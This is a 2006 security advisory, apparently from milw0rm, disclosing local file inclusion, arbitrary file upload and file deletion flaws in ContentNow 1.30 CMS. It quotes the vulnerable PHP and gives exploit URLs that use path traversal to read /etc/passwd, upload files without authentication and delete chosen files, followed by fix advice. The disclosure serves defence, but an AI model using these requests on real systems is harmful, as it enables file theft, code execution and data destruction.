87 lines
No EOL
3.6 KiB
Text
87 lines
No EOL
3.6 KiB
Text
#####################################################################################
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# #
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# r0ut3r Presents... #
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# #
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# Another r0ut3r discovery! #
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# #
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# ContentNow 1.30 Local File Include & Arbitrary File Upload/Delete Vulnerabilities #
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# #
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#####################################################################################
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# #
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# Software: ContentNow 1.30 Vulnerabilities #
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# #
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# Vendor: http://www.contentnow.mf4k.de/ #
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# #
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# Released: 2006/11/13 #
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# #
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# Discovered By: r0ut3r (writ3r [at] gmail.com) #
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# #
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# Criticality: Highly critical #
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# #
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#####################################################################################
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Local file inclusion vulnerability
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------------------------------------
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Vuln code:
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----------
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33 // get/set language
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34 $setLang= (empty ($_GET['lang'])) ? $cnCore->getBackendLanguage() : $_GET['lang'];
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35
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36 // define language
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37 include_once ('./language/'.$setLang.'.language.php');
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38 $lang= $cnLanguageArray[$setLang];
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Exploit:
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--------
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http://localhost/cn/edit.php?lang=../../../../etc/passwd%00
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http://localhost/cn/image.php?lang=../../../../etc/passwd%00
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http://localhost/cn/upload.php?lang=../../../../etc/passwd%00
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Probably more, never checked all files.
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File Upload/Command Execution Vulnerability:
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---------------------------------------------
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Note: They tell you to set 777 permissions on install for certain folders.
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http://localhost/cn/upload.php?path=/&cid=&type=file&single=false&folder=&lang=en
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set path to equal dir location:
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/ = root path
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Select file, then upload it.
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File Removal Vulnerability:
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----------------------------
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To delete files
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http://localhost/contentnow_130/cn/upload.php?path=/&cid=&type=file&folder=&lang=en&delfile=q.php&single=false
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set path to equal dir location:
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/ = root path
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set delfile for file you want to delete:
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q.php
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More Information:
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-----------------
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Email: writ3r [at] gmail.com
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Fix:
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-----
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How about some authentication?!
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Only allow the upload of certain files types, depends what you want it to use.
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As for local file includes, work out a better way to set languages, ie: make sure the language file included is required for the cms.
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Quick Fix:
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----------
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Setup .htaccess on cn/
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Example Fix:
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------------
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.htaccess:
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AuthName "ContentNow Fix!"
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AuthType Basic
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AuthUserFile /var/www/html/cn/.htpasswd
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Require valid-user
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This will prevent anyone from accessing this folder - this would be a solution for administrators whilst an upgrade, or patch is created.
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If you do want to access this better make a .htpasswd file to.
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# milw0rm.com [2006-11-13] |